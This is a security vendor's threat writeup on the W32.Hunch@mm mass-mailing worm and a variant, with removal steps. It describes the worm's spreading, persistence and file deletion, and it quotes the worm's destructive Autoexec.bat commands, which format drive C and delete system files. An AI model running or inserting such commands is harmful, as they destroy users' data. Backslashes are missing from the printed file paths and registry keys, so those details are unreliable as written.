W32.Hunch@mm

SUMMARY

W32.Hunch@mm is a mass-mailing worm that modifies the Autoexec.bat file in an attempt to format drive C. It deletes all .ocx, .sys, and .dll files from the C:\_RESTORE folder, and deletes other files that have a randomly chosen extension.

Protection

• Virus Definitions (Intelligent Updater) January 30, 2002

Threat Assessment

Wild

• Wild Level: Low
• Number of Infections: 0 - 49
• Number of Sites: 0 - 2
• Geographical Distribution: Low
• Threat Containment: Easy
• Removal: Easy

Damage

• Damage Level: High
• Payload Trigger: Execution
• Payload: Will delete 5 files from the machine. Will also attempt to format the C-Drive the next time the machine restarts.
• Large Scale E-mailing: Mails itself to all users in the Outlook Address book
• Deletes Files: deletes 5 files with the extension ".XLS" or ".DOC" or ".WAV" or ".DWG" or ".MP3" or ".BAK" or ".CDX" or ".BMP" or ".HTM" or ".HLP" or ".CHM" or ".JPG" or ".GIF" or ".SCR" or".TTF" or ".MID" or ".MDB" or ".DBF" or ".ICO".
• Modifies Files: Modifies Autoexec.bat to format the C-Drive
• Causes System Instability: Deletes files used by the Operating System to restore corrupted files.

Distribution

• Distribution Level: High
• Subject of Email: [Original Filename minus extension]
• Name of Attachment: [Original Filename]
• Size of Attachment: 151,552 bytes

TECHNICAL DETAILS

W32.Hunch@mm is a mass-mailing worm. If it is run, it does the following:

1. It sends itself to all contacts in the Microsoft Outlook address book. The message has the following characteristics:
   
   Subject:<This varies depending on the originating file name>
   Message: Mensaje importante para <Name of the sender> en el archivo adjunto...
   Attachment:<This varies depending on the originating file name>
   
2. It displays the following picture:
   
   
   
3. It searches the C:\_RESTORE folder (Windows Me only) and deletes all .ocx, .sys, and .dll files from that folder.
4. It copies itself to the hard disk as the following files:
   • C:WindowsSystemMsword.Exe
   • C:WindowsSystemThwin.Exe
   • C:WindowsSystem<Original file name>
     
5. It adds the value
   
   THWIN     C:WindowsSystemThwin.Exe
   
   to the following registry keys:
   
   HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
   HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
   RunServices
   
   so that the worm runs when you start Windows.
   
6. It then deletes five files that have one of the following randomly chosen file extensions:
   • .xls
   • .doc
   • .wav
   • .dwg
   • .mp3
   • .bak
   • .cdx
   • .bmp
   • .htm
   • .hlp
   • .chm
   • .jpg
   • .gif
   • .scr
   • .ttf
   • .mid
   • .mdb
   • .dbf
   • .ico
     
7. It keeps a log of the deleted files in the file C:WindowsSystemListWin.txt.
8. Finally, it modifies the C:Autoexec.bat file by adding the following command:
   
   DEL  > FORMAT C: /u /v:UNSCH /autotest
   
   so that the next time that you start the computer (Windows 95/98/Me only) the hard drive is reformatted.

W32.Hunch.D@mm variant
This variant differs in the following characteristics:

1. It sends itself to all contacts in the Microsoft Outlook Address Book. The message has the following characteristics:
   
   Subject: <This varies depending on the originating file name>
   Message: Tal como te prometf; te envfo mi foto en el archivo adjunto...
   Attachment: <This varies depending on the originating file name>
   
   
2. It displays a pornographic picture.
   
   
3. It copies itself as:
   • C:WindowsSystemMsoffice.exe
   • C:WindowsSystemThd16.exe
   • C:WindowsSystem<Attachment file name>
     
     
4. It adds the value
   
   "THD16" = "C:WindowsSystemThd16.Exe"
   
   to the registry key
   
   HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
   
   so that the worm runs when you start Windows.
   
   
5. Finally, the worm modifies the C:Autoexec.bat file by adding the following commands:
   
   @echo off
   DEL C:WINDOWSSYSTEM*.SYS
   DEL C:WINDOWSSYSTEM*.DLL
   DEL C:WINDOWSSYSTEM*.OCX
   CLS
   FORMAT C: /u /v:THD16 /autotest
   CLS
   
   As a result, the next time that you start the computer (Windows 95/98/Me only), system files are deleted and the hard drive is reformatted.

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

• Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
• If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
• Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
• Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
• Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
• Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
• Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

REMOVAL

To remove this worm, delete files that are detected as W32.Hunch@mm, delete the files that the worm added to the computer (if they still exist), remove the values that it added to the registry, and then remove the change that it added to the Autoexec.bat file.

CAUTION: If the worm has executed and you are running Windows 95/98/Me, do not restart the computer until you are finished with the entire procedure.

To remove the worm:

1. Run LiveUpdate to make sure that you have the most recent virus definitions.
2. Start Norton AntiVirus (NAV), and make sure that NAV is configured to scan all files. For instructions on how to do this, read the document How to configure Norton AntiVirus to scan all files.
3. Run a full system scan.
4. Delete all files that are detected as W32.Hunch@mm.
5. To be sure that all infected files have been removed, use Windows Explorer to look for and delete the following files:
   • C:WindowsSystemMsword.Exe
   • C:WindowsSystemThwin.Exe
   • (Optional) C:WindowsSystemListWin.txt (Deleting this file is optional. It contains a list of some of the deleted files. You may want to save this file to help you restore files that were deleted by the worm.)

To edit the registry:

CAUTION: We strongly recommend that you back up the registry before you make any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify only the keys that are specified. Read the document How to back up the Windows registry for instructions.

1. Click Start, and click Run. The Run dialog box appears.
2. Type regedit and then click OK. The Registry Editor opens.
3. Navigate to each of the following keys:
   
   HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
   HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
   RunServices
   
4. For each one, in the right pane, delete the following values if present:
   
   "THWIN" = "C:WindowsSystemThwin.Exe"
   "THD16" = "C:WindowsSystemThd16.Exe"
   
5. Click Registry, and then click Exit.

To edit the Autoexec.bat file (Windows 95/98/Me only):

NOTE: (For Windows Me users only) Due to the file-protection process in Windows Me, a backup copy of the file that you are about to edit exists in the C:WindowsRecent folder. We recommend that you delete this file before you continue with the steps in this section. To do this using Windows Explorer, go to C:WindowsRecent, and in the right pane select the Win.ini file and delete it. It will be regenerated as a copy of the file that you are about to edit when you save your changes to that file.

1. Click Start, and click Run.
2. Type the following, and then click OK.
   
   edit c:autoexec.bat
   
   The MS-DOS Editor opens.
   
   NOTE: If Windows is installed in a different location, make the appropriate path substitution.
   
3. Look for the lines:
   
   DEL  > FORMAT C: /u /v:UNSCH /autotest
   
   or
   
   @echo off
   DEL C:WINDOWSSYSTEM*.SYS
   DEL C:WINDOWSSYSTEM*.DLL
   DEL C:WINDOWSSYSTEM*.OCX
   CLS
   FORMAT C: /u /v:THD16 /autotest
   CLS
   
4. If either exists, select the entire lines. Be sure that you do not select any other text, and then press Delete.
5. Click File, and click Save.
6. Click File, and click Exit.